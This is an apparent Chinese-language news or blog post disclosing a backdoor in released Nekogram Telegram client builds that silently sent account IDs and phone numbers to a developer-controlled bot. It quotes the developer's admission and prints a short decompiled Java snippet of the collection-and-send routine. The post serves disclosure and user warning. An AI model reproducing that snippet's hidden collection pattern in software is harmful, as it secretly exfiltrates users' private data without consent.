Nekogram曾是一个颇受欢迎的第三方Telegram客户端 在多个平台(Google Play、GitHub Release、Telegram频道)提供分发版本
但在今年4月 被曝露了一个严重的问题:在用户毫不知情的情况下 将Telegram账号的UserID与绑定手机号上传至开发者控制的机器人（@nekonotificationbot）
很多人以为第三方 Telegram 客户端只是“更好用”。 但 Nekogram 这次的翻车告诉我们： 有些“好用”，是拿你的隐私换来的。
先来看一段代码 Extra.java
var user = userConfig.getCurrentUser();
numberMap.put(String.valueOf(user.id), user.phone);
InlineBotHelper.getInstance(UserConfig.selectedAccount)
.query(
HELPER_BOT,
"741ad28818eab176..." + BaseRemoteHelper.GSON.toJson(numberMap),
(results, error) -> {}
);
在这段代码中显示 Nekogram内部存在一个名为logNumberPhones的函数 其行为包括：
- 收集当前设备上最多 8 个 Telegram 账号的 UserID 与手机号
- 将数据打包后通过 inline query 静默发送给 @nekonotificationbot
- 发送过程不会出现在聊天记录中，用户无法察觉
更关键的是：
开发者在官方频道承认：手机号确实被发送给机器人。
这意味着:只要你曾经使用过受影响版本的 Nekogram 手机号被上传的概率极高
这一行为并非误触发 他通过了混淆代码、硬编码密钥、静默 inline query等方式刻意隐藏 属于典型的后门式数据收集
没有提示 没有授权 不会出现在聊天记录 而且开发者本人承认了手机号确实被发送:“Yes, numbers were sent to the bot.”
这不是疏忽，而是早就提前设计好的数据上报机制
Google Play / GitHub / Telegram 频道分发的Nekogram全部都中招
这个后门很隐蔽 GitHub公开版本是干净的 但 Google Play 等渠道分发的编译版本都带后门
该后门仅存在于编译发布的APK中 GitHub公开源码中的对应文件为无害占位 经独立反编译对比验证 从源码自行编译的版本不含上述后门组件
该 issue 已在 GitHub 公开：#336
Nekogram这件事暴露了一个残酷的现实:第三方客户端构建过程其实并不透明 “开源”也并不等于“安全”
Nekogram的这次事件是一次典型的“信任崩塌” 在隐私与安全日益重要的今天 这类事件提醒我们:任何闭源或未经审计的客户端 都可能成为潜在风险点
开发者原话：(点击展开)
If your question is, “Is it true?”, the answer is yes, numbers were sent to the bot. But not a single number has been stored anywhere or shared with anyone ever.
Some people are asking for an “explanation”, but what kind of explanation do you want? It sends your phone number, it is what it is.
The two OSINT bots are used for finding username of the user by searching the id with them. We do not work with them and we do not populate their databases.
For those interested, here is the source code of Extra.java.
————————————————–
如果你的问题是“这是真的吗？” 答案是：是的，手机号确实被发送给了机器人。但没有任何号码被存储或分享给任何人。
有些人要求“解释”，但你还想要什么解释？它就是会发送你的手机号，就是这样。
那两个 OSINT 机器人只是用来通过 ID 查用户名的，我们不与他们合作，也不会向他们的数据库写入数据。
如果你感兴趣，这里是Extra.java的源代码。
————————————————–
你看到的源码，不等于你运行的程序
以后下载Telegram只认准一个渠道 telegram.org